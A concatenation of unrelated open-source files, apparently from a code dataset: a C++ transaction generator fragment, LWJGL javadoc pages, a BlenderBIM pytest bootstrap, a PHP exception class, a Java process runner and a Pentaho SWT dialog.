if (m_last_used_address_index < m_new_addresses.size()) {
to_addr = m_new_addresses[m_last_used_address_index];
m_last_used_address_index++;
} else {
to_addr = neb::to_address(m_all_accounts->random_user_account()->address());
}
return m_block->add_binary_transaction(from_addr, to_addr, 1_nas);
}
checker_tasks::task_container_ptr_t transaction_generator::gen_tasks() {
return nullptr;
}
| nebulasio/go-nebulas | nbre/cmd/dummy_neb/generator/transaction_generator.cpp | C++ | lgpl-3.0 | 2,026 |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!--NewPage-->
<HTML>
<HEAD>
<!-- Generated by javadoc (build 1.6.0_26) on Sun Dec 22 15:55:56 GMT 2013 -->
<TITLE>
Uses of Class org.lwjgl.opencl.KHRGLDepthImages (LWJGL API)
</TITLE>
<META NAME="date" CONTENT="2013-12-22">
<LINK REL ="stylesheet" TYPE="text/css" HREF="../../../../stylesheet.css" TITLE="Style">
<SCRIPT type="text/javascript">
function windowTitle()
{
if (location.href.indexOf('is-external=true') == -1) {
parent.document.title="Uses of Class org.lwjgl.opencl.KHRGLDepthImages (LWJGL API)";
}
}
</SCRIPT>
<NOSCRIPT>
</NOSCRIPT>
</HEAD>
<BODY BGCOLOR="white" onload="windowTitle();">
<HR>
<!-- ========= START OF TOP NAVBAR ======= -->
<A NAME="navbar_top"><!-- --></A>
<A HREF="#skip-navbar_top" title="Skip navigation links"></A>
<TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY="">
<TR>
<TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1">
<A NAME="navbar_top_firstrow"><!-- --></A>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY="">
<TR ALIGN="center" VALIGN="top">
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../org/lwjgl/opencl/KHRGLDepthImages.html" title="class in org.lwjgl.opencl"><FONT CLASS="NavBarFont1"><B>Class</B></FONT></A> </TD>
<TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Use</B></FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../overview-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../index-all.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A> </TD>
</TR>
</TABLE>
</TD>
<TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM>
</EM>
</TD>
</TR>
<TR>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
PREV
NEXT</FONT></TD>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../../index.html?org/lwjgl/opencl//class-useKHRGLDepthImages.html" target="_top"><B>FRAMES</B></A>
<A HREF="KHRGLDepthImages.html" target="_top"><B>NO FRAMES</B></A>
<SCRIPT type="text/javascript">
<!--
if(window==top) {
document.writeln('<A HREF="../../../../allclasses-noframe.html"><B>All Classes</B></A>');
}
//-->
</SCRIPT>
<NOSCRIPT>
<A HREF="../../../../allclasses-noframe.html"><B>All Classes</B></A>
</NOSCRIPT>
</FONT></TD>
</TR>
</TABLE>
<A NAME="skip-navbar_top"></A>
<!-- ========= END OF TOP NAVBAR ========= -->
<HR>
<CENTER>
<H2>
<B>Uses of Class<br>org.lwjgl.opencl.KHRGLDepthImages</B></H2>
</CENTER>
No usage of org.lwjgl.opencl.KHRGLDepthImages
<P>
<HR>
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<A NAME="navbar_bottom"><!-- --></A>
<A HREF="#skip-navbar_bottom" title="Skip navigation links"></A>
<TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY="">
<TR>
<TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1">
<A NAME="navbar_bottom_firstrow"><!-- --></A>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY="">
<TR ALIGN="center" VALIGN="top">
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../org/lwjgl/opencl/KHRGLDepthImages.html" title="class in org.lwjgl.opencl"><FONT CLASS="NavBarFont1"><B>Class</B></FONT></A> </TD>
<TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Use</B></FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../overview-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../index-all.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A> </TD>
</TR>
</TABLE>
</TD>
<TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM>
</EM>
</TD>
</TR>
<TR>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
PREV
NEXT</FONT></TD>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../../../../index.html?org/lwjgl/opencl//class-useKHRGLDepthImages.html" target="_top"><B>FRAMES</B></A>
<A HREF="KHRGLDepthImages.html" target="_top"><B>NO FRAMES</B></A>
<SCRIPT type="text/javascript">
<!--
if(window==top) {
document.writeln('<A HREF="../../../../allclasses-noframe.html"><B>All Classes</B></A>');
}
//-->
</SCRIPT>
<NOSCRIPT>
<A HREF="../../../../allclasses-noframe.html"><B>All Classes</B></A>
</NOSCRIPT>
</FONT></TD>
</TR>
</TABLE>
<A NAME="skip-navbar_bottom"></A>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
<HR>
<i>Copyright © 2002-2009 lwjgl.org. All Rights Reserved.</i>
</BODY>
</HTML>
| GokulEvuri/VenganceRabbit | lib/Docs/javadoc/org/lwjgl/opencl/class-use/KHRGLDepthImages.html | HTML | lgpl-3.0 | 5,912 |
# BlenderBIM Add-on - OpenBIM Blender Add-on
# Copyright (C) 2021 Dion Moult <[email protected]>
#
# This file is part of BlenderBIM Add-on.
#
# BlenderBIM Add-on is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# BlenderBIM Add-on is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with BlenderBIM Add-on. If not, see <http://www.gnu.org/licenses/>.
import os
import re
import bpy
import pytest
import webbrowser
import blenderbim
import ifcopenshell
import ifcopenshell.util.representation
from blenderbim.bim.ifc import IfcStore
from mathutils import Vector
# Monkey-patch webbrowser opening since we want to test headlessly
webbrowser.open = lambda x: True
variables = {"cwd": os.getcwd(), "ifc": "IfcStore.get_file()"}
class NewFile:
@pytest.fixture(autouse=True)
def setup(self):
IfcStore.purge()
bpy.ops.wm.read_homefile(app_template="")
if bpy.data.objects:
bpy.data.batch_remove(bpy.data.objects)
bpy.ops.outliner.orphans_purge(do_local_ids=True, do_linked_ids=True, do_recursive=True)
blenderbim.bim.handler.setDefaultProperties(None)
class NewIfc:
@pytest.fixture(autouse=True)
def setup(self):
IfcStore.purge()
bpy.ops.wm.read_homefile(app_template="")
bpy.data.batch_remove(bpy.data.objects)
bpy.ops.outliner.orphans_purge(do_local_ids=True, do_linked_ids=True, do_recursive=True)
blenderbim.bim.handler.setDefaultProperties(None)
bpy.ops.bim.create_project()
def scenario(function):
def subfunction(self):
run(function(self))
return subfunction
def scenario_debug(function):
def subfunction(self):
run_debug(function(self))
return subfunction
def an_empty_ifc_project():
bpy.ops.bim.create_project()
def i_add_a_cube():
bpy.ops.mesh.primitive_cube_add()
def i_add_a_cube_of_size_size_at_location(size, location):
bpy.ops.mesh.primitive_cube_add(size=float(size), location=[float(co) for co in location.split(",")])
def the_object_name_is_selected(name):
i_deselect_all_objects()
additionally_the_object_name_is_selected(name)
def additionally_the_object_name_is_selected(name):
obj = bpy.context.scene.objects.get(name)
if not obj:
assert False, 'The object "{name}" could not be selected'
bpy.context.view_layer.objects.active = obj
obj.select_set(True)
def i_deselect_all_objects():
bpy.context.view_layer.objects.active = None
bpy.ops.object.select_all(action="DESELECT")
def i_am_on_frame_number(number):
bpy.context.scene.frame_set(int(number))
def i_set_prop_to_value(prop, value):
try:
eval(f"bpy.context.{prop}")
except:
assert False, "Property does not exist"
try:
exec(f'bpy.context.{prop} = "{value}"')
except:
exec(f"bpy.context.{prop} = {value}")
def prop_is_value(prop, value):
is_value = False
try:
exec(f'assert bpy.context.{prop} == "{value}"')
is_value = True
except:
try:
exec(f"assert bpy.context.{prop} == {value}")
is_value = True
except:
try:
exec(f"assert list(bpy.context.{prop}) == {value}")
is_value = True
except:
pass
if not is_value:
actual_value = eval(f"bpy.context.{prop}")
assert False, f"Value is {actual_value}"
def i_enable_prop(prop):
exec(f"bpy.context.{prop} = True")
def i_press_operator(operator):
if "(" in operator:
exec(f"bpy.ops.{operator}")
else:
exec(f"bpy.ops.{operator}()")
def i_rename_the_object_name1_to_name2(name1, name2):
the_object_name_exists(name1).name = name2
def the_object_name_exists(name):
obj = bpy.data.objects.get(name)
if not obj:
assert False, f'The object "{name}" does not exist'
return obj
def an_ifc_file_exists():
ifc = IfcStore.get_file()
if not ifc:
assert False, "No IFC file is available"
return ifc
def an_ifc_file_does_not_exist():
ifc = IfcStore.get_file()
if ifc:
assert False, "An IFC is available"
def the_object_name_does_not_exist(name):
assert bpy.data.objects.get(name) is None, "Object exists"
def the_object_name_is_an_ifc_class(name, ifc_class):
ifc = an_ifc_file_exists()
element = ifc.by_id(the_object_name_exists(name).BIMObjectProperties.ifc_definition_id)
assert element.is_a(ifc_class), f'Object "{name}" is an {element.is_a()}'
def the_object_name_is_not_an_ifc_element(name):
id = the_object_name_exists(name).BIMObjectProperties.ifc_definition_id
assert id == 0, f"The ID is {id}"
def the_object_name_is_in_the_collection_collection(name, collection):
assert collection in [c.name for c in the_object_name_exists(name).users_collection]
def the_object_name_is_not_in_the_collection_collection(name, collection):
assert collection not in [c.name for c in the_object_name_exists(name).users_collection]
def the_object_name_has_a_body_of_value(name, value):
assert the_object_name_exists(name).data.body == value
def the_collection_name1_is_in_the_collection_name2(name1, name2):
assert bpy.data.collections.get(name2).children.get(name1)
def the_collection_name1_is_not_in_the_collection_name2(name1, name2):
assert not bpy.data.collections.get(name2).children.get(name1)
def the_object_name_is_placed_in_the_collection_collection(name, collection):
obj = the_object_name_exists(name)
[c.objects.unlink(obj) for c in obj.users_collection]
bpy.data.collections.get(collection).objects.link(obj)
def the_object_name_has_a_type_representation_of_context(name, type, context):
ifc = an_ifc_file_exists()
element = ifc.by_id(the_object_name_exists(name).BIMObjectProperties.ifc_definition_id)
context, subcontext, target_view = context.split("/")
assert ifcopenshell.util.representation.get_representation(
element, context, subcontext or None, target_view or None
)
def the_object_name_is_contained_in_container_name(name, container_name):
ifc = an_ifc_file_exists()
element = ifc.by_id(the_object_name_exists(name).BIMObjectProperties.ifc_definition_id)
container = ifcopenshell.util.element.get_container(element)
if not container:
assert False, f'Object "{name}" is not in any container'
assert container.Name == container_name, f'Object "{name}" is in {container}'
def i_duplicate_the_selected_objects():
bpy.ops.object.duplicate_move()
blenderbim.bim.handler.active_object_callback()
def i_delete_the_selected_objects():
bpy.ops.object.delete()
blenderbim.bim.handler.active_object_callback()
def the_object_name1_and_name2_are_different_elements(name1, name2):
ifc = an_ifc_file_exists()
element1 = ifc.by_id(the_object_name_exists(name1).BIMObjectProperties.ifc_definition_id)
element2 = ifc.by_id(the_object_name_exists(name2).BIMObjectProperties.ifc_definition_id)
assert element1 != element2, f"Objects {name1} and {name2} have same elements {element1} and {element2}"
def the_file_name_should_contain_value(name, value):
with open(name, "r") as f:
assert value in f.read()
def the_object_name1_has_a_boolean_difference_by_name2(name1, name2):
obj = the_object_name_exists(name1)
for modifier in obj.modifiers:
if modifier.type == "BOOLEAN" and modifier.object and modifier.object.name == name2:
return True
assert False, "No boolean found"
def the_object_name1_has_no_boolean_difference_by_name2(name1, name2):
obj = the_object_name_exists(name1)
for modifier in obj.modifiers:
if modifier.type == "BOOLEAN" and modifier.object and modifier.object.name == name2:
assert False, "A boolean was found"
def the_object_name_is_voided_by_void(name, void):
ifc = IfcStore.get_file()
element = ifc.by_id(the_object_name_exists(name).BIMObjectProperties.ifc_definition_id)
for rel in element.HasOpenings:
if rel.RelatedOpeningElement.Name == void:
return True
assert False, "No void found"
def the_object_name_is_not_voided_by_void(name, void):
ifc = IfcStore.get_file()
element = ifc.by_id(the_object_name_exists(name).BIMObjectProperties.ifc_definition_id)
for rel in element.HasOpenings:
if rel.RelatedOpeningElement.Name == void:
assert False, "A void was found"
def the_object_name_is_not_voided(name):
ifc = IfcStore.get_file()
element = ifc.by_id(the_object_name_exists(name).BIMObjectProperties.ifc_definition_id)
if any(element.HasOpenings):
assert False, "An opening was found"
def the_object_name_is_not_a_void(name):
ifc = IfcStore.get_file()
element = ifc.by_id(the_object_name_exists(name).BIMObjectProperties.ifc_definition_id)
if any(element.VoidsElements):
assert False, "A void was found"
def the_void_name_is_filled_by_filling(name, filling):
ifc = IfcStore.get_file()
element = ifc.by_id(the_object_name_exists(name).BIMObjectProperties.ifc_definition_id)
if any(rel.RelatedBuildingElement.Name == filling for rel in element.HasFillings):
return True
assert False, "No filling found"
def the_void_name_is_not_filled_by_filling(name, filling):
ifc = IfcStore.get_file()
element = ifc.by_id(the_object_name_exists(name).BIMObjectProperties.ifc_definition_id)
if any(rel.RelatedBuildingElement.Name == filling for rel in element.HasFillings):
assert False, "A filling was found"
def the_object_name_is_not_a_filling(name):
ifc = IfcStore.get_file()
element = ifc.by_id(the_object_name_exists(name).BIMObjectProperties.ifc_definition_id)
if any(element.FillsVoids):
assert False, "A filling was found"
def the_object_name_should_display_as_mode(name, mode):
assert the_object_name_exists(name).display_type == mode
def the_object_name_has_number_vertices(name, number):
total = len(the_object_name_exists(name).data.vertices)
assert total == int(number), f"We found {total} vertices"
def the_object_name_is_at_location(name, location):
obj_location = the_object_name_exists(name).location
assert (
obj_location - Vector([float(co) for co in location.split(",")])
).length < 0.1, f"Object is at {obj_location}"
def the_variable_key_is_value(key, value):
variables[key] = eval(value)
definitions = {
'the variable "(.*)" is "(.*)"': the_variable_key_is_value,
"an empty IFC project": an_empty_ifc_project,
"I add a cube": i_add_a_cube,
'I add a cube of size "([0-9]+)" at "(.*)"': i_add_a_cube_of_size_size_at_location,
'the object "(.*)" is selected': the_object_name_is_selected,
'additionally the object "(.*)" is selected': additionally_the_object_name_is_selected,
"I deselect all objects": i_deselect_all_objects,
'I am on frame "([0-9]+)"': i_am_on_frame_number,
'I set "(.*)" to "(.*)"': i_set_prop_to_value,
'"(.*)" is "(.*)"': prop_is_value,
'I enable "(.*)"': i_enable_prop,
'I press "(.*)"': i_press_operator,
'I rename the object "(.*)" to "(.*)"': i_rename_the_object_name1_to_name2,
'the object "(.*)" exists': the_object_name_exists,
'the object "(.*)" does not exist': the_object_name_does_not_exist,
'the object "(.*)" is an "(.*)"': the_object_name_is_an_ifc_class,
'the object "(.*)" is not an IFC element': the_object_name_is_not_an_ifc_element,
'the object "(.*)" is in the collection "(.*)"': the_object_name_is_in_the_collection_collection,
'the object "(.*)" is not in the collection "(.*)"': the_object_name_is_not_in_the_collection_collection,
'the object "(.*)" has a body of "(.*)"': the_object_name_has_a_body_of_value,
'the collection "(.*)" is in the collection "(.*)"': the_collection_name1_is_in_the_collection_name2,
'the collection "(.*)" is not in the collection "(.*)"': the_collection_name1_is_not_in_the_collection_name2,
"an IFC file exists": an_ifc_file_exists,
"an IFC file does not exist": an_ifc_file_does_not_exist,
'the object "(.*)" has a "(.*)" representation of "(.*)"': the_object_name_has_a_type_representation_of_context,
'the object "(.*)" is placed in the collection "(.*)"': the_object_name_is_placed_in_the_collection_collection,
'the object "(.*)" is contained in "(.*)"': the_object_name_is_contained_in_container_name,
"I duplicate the selected objects": i_duplicate_the_selected_objects,
"I delete the selected objects": i_delete_the_selected_objects,
'the object "(.*)" and "(.*)" are different elements': the_object_name1_and_name2_are_different_elements,
'the file "(.*)" should contain "(.*)"': the_file_name_should_contain_value,
'the object "(.*)" has a boolean difference by "(.*)"': the_object_name1_has_a_boolean_difference_by_name2,
'the object "(.*)" has no boolean difference by "(.*)"': the_object_name1_has_no_boolean_difference_by_name2,
'the object "(.*)" is voided by "(.*)"': the_object_name_is_voided_by_void,
'the object "(.*)" is not voided by "(.*)"': the_object_name_is_not_voided_by_void,
'the object "(.*)" is not a void': the_object_name_is_not_a_void,
'the object "(.*)" is not voided': the_object_name_is_not_voided,
'the object "(.*)" should display as "(.*)"': the_object_name_should_display_as_mode,
'the object "(.*)" has "([0-9]+)" vertices': the_object_name_has_number_vertices,
'the object "(.*)" is at "(.*)"': the_object_name_is_at_location,
"nothing interesting happens": lambda: None,
'the void "(.*)" is filled by "(.*)"': the_void_name_is_filled_by_filling,
'the void "(.*)" is not filled by "(.*)"': the_void_name_is_not_filled_by_filling,
'the object "(.*)" is not a filling': the_object_name_is_not_a_filling,
}
# Super lightweight Gherkin implementation
def run(scenario):
keywords = ["Given", "When", "Then", "And", "But"]
for line in scenario.split("\n"):
for key, value in variables.items():
line = line.replace("{" + key + "}", str(value))
for keyword in keywords:
line = line.replace(keyword, "")
line = line.strip()
if not line:
continue
match = None
for definition, callback in definitions.items():
match = re.search("^" + definition + "$", line)
if match:
try:
callback(*match.groups())
except AssertionError as e:
assert False, f"Failed: {line}, with error: {e}"
break
if not match:
assert False, f"Definition not implemented: {line}"
return True
def run_debug(scenario, blend_filepath=None):
try:
result = run(scenario)
except Exception as e:
if blend_filepath:
bpy.ops.wm.save_as_mainfile(filepath=blend_filepath)
assert False, e
if blend_filepath:
bpy.ops.wm.save_as_mainfile(filepath=blend_filepath)
return result
| IfcOpenShell/IfcOpenShell | src/blenderbim/test/bim/bootstrap.py | Python | lgpl-3.0 | 15,500 |
<?php
namespace page\model;
use n2n\util\ex\err\FancyErrorException;
class PageErrorException extends FancyErrorException {
} | n2n/page | src/app/page/model/PageErrorException.php | PHP | lgpl-3.0 | 133 |
package org.orchestra.sm;
import java.io.BufferedReader;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.util.Map.Entry;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
public class Runner {
private final Logger logger = LoggerFactory.getLogger(Runner.class);
private List<String> command = new ArrayList<String>();
private Map<String, String> env;
private String workDir;
private Process process;
public Map<String, String> getEnv() {
return env;
}
public void setEnv(Map<String, String> env) {
this.env = env;
}
public Runner(String command, List<String> args) {
this.command.add(command);
if(args != null) this.command.addAll(args);
}
public Runner(String command, List<String> args, Map<String, String> env) {
this.command.add(command);
if(args != null) this.command.addAll(args);
this.env = env;
}
public Runner(String command, List<String> args, Map<String, String> env, String workDir) {
this.command.add(command);
if(args != null) this.command.addAll(args);
this.env = env;
this.workDir = workDir;
}
public int run(String arg) throws IOException, InterruptedException {
List<String> cmd = new ArrayList<String>(command);
if(arg != null) cmd.add(arg);
new StringBuffer();
ProcessBuilder pb = new ProcessBuilder(cmd);
if(env != null) pb.environment().putAll(env);
if(workDir != null) pb.directory(new File(workDir));
logger.debug("Environment variables:");
for(Entry<String, String> e : pb.environment().entrySet()) {
logger.debug(e.getKey() + "=" + e.getValue());
}
process = pb.start();
return process.waitFor();
}
public InputStream getInputStream() {
return process.getInputStream();
}
public BufferedReader getSystemOut() {
BufferedReader input =
new BufferedReader(new InputStreamReader(process.getInputStream()));
return input;
}
public BufferedReader getSystemError() {
BufferedReader error =
new BufferedReader(new InputStreamReader(process.getErrorStream()));
return error;
}
public void setStandardInput(String filename) {
}
}
| bigorc/orchestra | src/main/java/org/orchestra/sm/Runner.java | Java | lgpl-3.0 | 2,212 |
package org.datacleaner.kettle.ui;
import java.util.ArrayList;
import java.util.List;
import org.eclipse.swt.SWT;
import org.eclipse.swt.events.DisposeEvent;
import org.eclipse.swt.events.DisposeListener;
import org.eclipse.swt.graphics.Image;
import org.eclipse.swt.graphics.Point;
import org.eclipse.swt.graphics.Rectangle;
import org.eclipse.swt.layout.FormAttachment;
import org.eclipse.swt.layout.FormData;
import org.eclipse.swt.layout.FormLayout;
import org.eclipse.swt.layout.GridLayout;
import org.eclipse.swt.widgets.Button;
import org.eclipse.swt.widgets.Display;
import org.eclipse.swt.widgets.Event;
import org.eclipse.swt.widgets.Group;
import org.eclipse.swt.widgets.Label;
import org.eclipse.swt.widgets.Listener;
import org.eclipse.swt.widgets.MessageBox;
import org.eclipse.swt.widgets.Shell;
import org.eclipse.swt.widgets.Text;
import org.pentaho.di.core.Const;
import org.pentaho.di.core.plugins.JobEntryPluginType;
import org.pentaho.di.core.plugins.PluginRegistry;
import org.pentaho.di.job.JobMeta;
import org.pentaho.di.job.entry.JobEntryDialogInterface;
import org.pentaho.di.job.entry.JobEntryInterface;
import org.pentaho.di.repository.Repository;
import org.pentaho.di.ui.core.gui.GUIResource;
import org.pentaho.di.ui.job.entry.JobEntryDialog;
import org.pentaho.di.ui.trans.step.BaseStepDialog;
import plugin.DataCleanerJobEntry;
public abstract class AbstractJobEntryDialog extends JobEntryDialog implements
JobEntryDialogInterface,
DisposeListener {
private final String initialJobName;
private Text jobNameField;
private Button okButton;
private Button cancelButton;
private List<Object> resources = new ArrayList<Object>();
public AbstractJobEntryDialog(Shell parent, JobEntryInterface jobEntry, Repository rep, JobMeta jobMeta) {
super(parent, jobEntry, rep, jobMeta);
initialJobName = (jobEntry.getName() == null ? DataCleanerJobEntry.NAME : jobEntry.getName());
}
protected void initializeShell(Shell shell) {
String id = PluginRegistry.getInstance().getPluginId(JobEntryPluginType.class, jobMeta);
if (id != null) {
shell.setImage(GUIResource.getInstance().getImagesStepsSmall().get(id));
}
}
/**
* @wbp.parser.entryPoint
*/
@Override
public final JobEntryInterface open() {
final Shell parent = getParent();
final Display display = parent.getDisplay();
// initialize shell
{
shell = new Shell(parent, SWT.DIALOG_TRIM | SWT.RESIZE | SWT.MIN | SWT.MAX);
initializeShell(shell);
FormLayout shellLayout = new FormLayout();
shellLayout.marginTop = 0;
shellLayout.marginLeft = 0;
shellLayout.marginRight = 0;
shellLayout.marginBottom = 0;
shellLayout.marginWidth = 0;
shellLayout.marginHeight = 0;
shell.setLayout(shellLayout);
shell.setText(DataCleanerJobEntry.NAME + ": " + initialJobName);
}
final int middle = Const.MIDDLE_PCT;
final int margin = Const.MARGIN;
// DC banner
final DataCleanerBanner banner = new DataCleanerBanner(shell);
{
final FormData bannerLayoutData = new FormData();
bannerLayoutData.left = new FormAttachment(0, 0);
bannerLayoutData.right = new FormAttachment(100, 0);
bannerLayoutData.top = new FormAttachment(0, 0);
banner.setLayoutData(bannerLayoutData);
}
// Step name
{
final Label stepNameLabel = new Label(shell, SWT.RIGHT);
stepNameLabel.setText("Step name:");
final FormData stepNameLabelLayoutData = new FormData();
stepNameLabelLayoutData.left = new FormAttachment(0, margin);
stepNameLabelLayoutData.right = new FormAttachment(middle, -margin);
stepNameLabelLayoutData.top = new FormAttachment(banner, margin * 2);
stepNameLabel.setLayoutData(stepNameLabelLayoutData);
jobNameField = new Text(shell, SWT.SINGLE | SWT.LEFT | SWT.BORDER);
jobNameField.setText(initialJobName);
final FormData stepNameFieldLayoutData = new FormData();
stepNameFieldLayoutData.left = new FormAttachment(middle, 0);
stepNameFieldLayoutData.right = new FormAttachment(100, -margin);
stepNameFieldLayoutData.top = new FormAttachment(banner, margin * 2);
jobNameField.setLayoutData(stepNameFieldLayoutData);
}
// Properties Group
final Group propertiesGroup = new Group(shell, SWT.SHADOW_ETCHED_IN);
propertiesGroup.setText("Step configuration");
final FormData propertiesGroupLayoutData = new FormData();
propertiesGroupLayoutData.left = new FormAttachment(0, margin);
propertiesGroupLayoutData.right = new FormAttachment(100, -margin);
propertiesGroupLayoutData.top = new FormAttachment(jobNameField, margin);
propertiesGroup.setLayoutData(propertiesGroupLayoutData);
final GridLayout propertiesGroupLayout = new GridLayout(2, false);
propertiesGroup.setLayout(propertiesGroupLayout);
addConfigurationFields(propertiesGroup, margin, middle);
okButton = new Button(shell, SWT.PUSH);
Image saveImage = new Image(shell.getDisplay(), AbstractJobEntryDialog.class.getResourceAsStream("save.png"));
resources.add(saveImage);
okButton.setImage(saveImage);
okButton.setText("OK");
okButton.addListener(SWT.Selection, new Listener() {
@Override
public void handleEvent(Event event) {
ok();
final String jobEntryName = jobNameField.getText();
if (jobEntryName != null && jobEntryName.length() > 0 && !initialJobName.equals(jobEntryName)) {
jobEntryInt.setName(jobEntryName);
}
jobEntryInt.setChanged();
shell.close();
}
});
cancelButton = new Button(shell, SWT.PUSH);
Image cancelImage =
new Image(shell.getDisplay(), AbstractJobEntryDialog.class.getResourceAsStream("cancel.png"));
resources.add(cancelImage);
cancelButton.setImage(cancelImage);
cancelButton.setText("Cancel");
cancelButton.addListener(SWT.Selection, new Listener() {
@Override
public void handleEvent(Event arg0) {
cancel();
jobNameField.setText("");
shell.close();
}
});
BaseStepDialog.positionBottomButtons(shell, new Button[] { okButton, cancelButton }, margin, propertiesGroup);
// HI banner
final DataCleanerFooter footer = new DataCleanerFooter(shell);
{
final FormData footerLayoutData = new FormData();
footerLayoutData.left = new FormAttachment(0, 0);
footerLayoutData.right = new FormAttachment(100, 0);
footerLayoutData.top = new FormAttachment(okButton, margin * 2);
footer.setLayoutData(footerLayoutData);
}
shell.addDisposeListener(this);
shell.setSize(getDialogSize());
// center the dialog in the middle of the screen
final Rectangle screenSize = shell.getDisplay().getPrimaryMonitor().getBounds();
shell.setLocation((screenSize.width - shell.getBounds().width) / 2,
(screenSize.height - shell.getBounds().height) / 2);
shell.pack();
shell.open();
while (!shell.isDisposed()) {
if (!display.readAndDispatch()) {
display.sleep();
}
}
return jobEntryInt;
}
@Override
public void widgetDisposed(DisposeEvent event) {
for (Object resource : resources) {
if (resource instanceof Image) {
((Image) resource).dispose();
}
}
}
protected Point getDialogSize() {
Point clientAreaSize = shell.computeSize(SWT.DEFAULT, SWT.DEFAULT);
int frameX = shell.getSize().x - shell.getClientArea().width;
int frameY = shell.getSize().y - shell.getClientArea().height;
return new Point(frameX + clientAreaSize.x, frameY + clientAreaSize.y);
}
protected abstract void addConfigurationFields(Group propertiesGroup, int margin, int middle);
public void cancel() {
// do nothing
}
public abstract void ok();
protected void showWarning(String message) {
MessageBox messageBox = new MessageBox(new Shell(), SWT.ICON_WARNING | SWT.OK);
messageBox.setText("EasyDataQuality - Warning");
messageBox.setMessage(message);
messageBox.open();
}
protected String getStepDescription() {
return null;
}
}
| datacleaner/pdi-datacleaner | src/main/java/org/datacleaner/kettle/ui/AbstractJobEntryDialog.java | Java | lgpl-3.0 | 8,903 |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!--NewPage-->
<HTML>
<HEAD>
<!-- Generated by javadoc (build 1.6.0_26) on Sun Dec 22 15:55:34 GMT 2013 -->
<TITLE>
NVDeepTexture3D (LWJGL API)
</TITLE>
<META NAME="date" CONTENT="2013-12-22">
<LINK REL ="stylesheet" TYPE="text/css" HREF="../../../stylesheet.css" TITLE="Style">
<SCRIPT type="text/javascript">
function windowTitle()
{
if (location.href.indexOf('is-external=true') == -1) {
parent.document.title="NVDeepTexture3D (LWJGL API)";
}
}
</SCRIPT>
<NOSCRIPT>
</NOSCRIPT>
</HEAD>
<BODY BGCOLOR="white" onload="windowTitle();">
<HR>
<!-- ========= START OF TOP NAVBAR ======= -->
<A NAME="navbar_top"><!-- --></A>
<A HREF="#skip-navbar_top" title="Skip navigation links"></A>
<TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY="">
<TR>
<TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1">
<A NAME="navbar_top_firstrow"><!-- --></A>
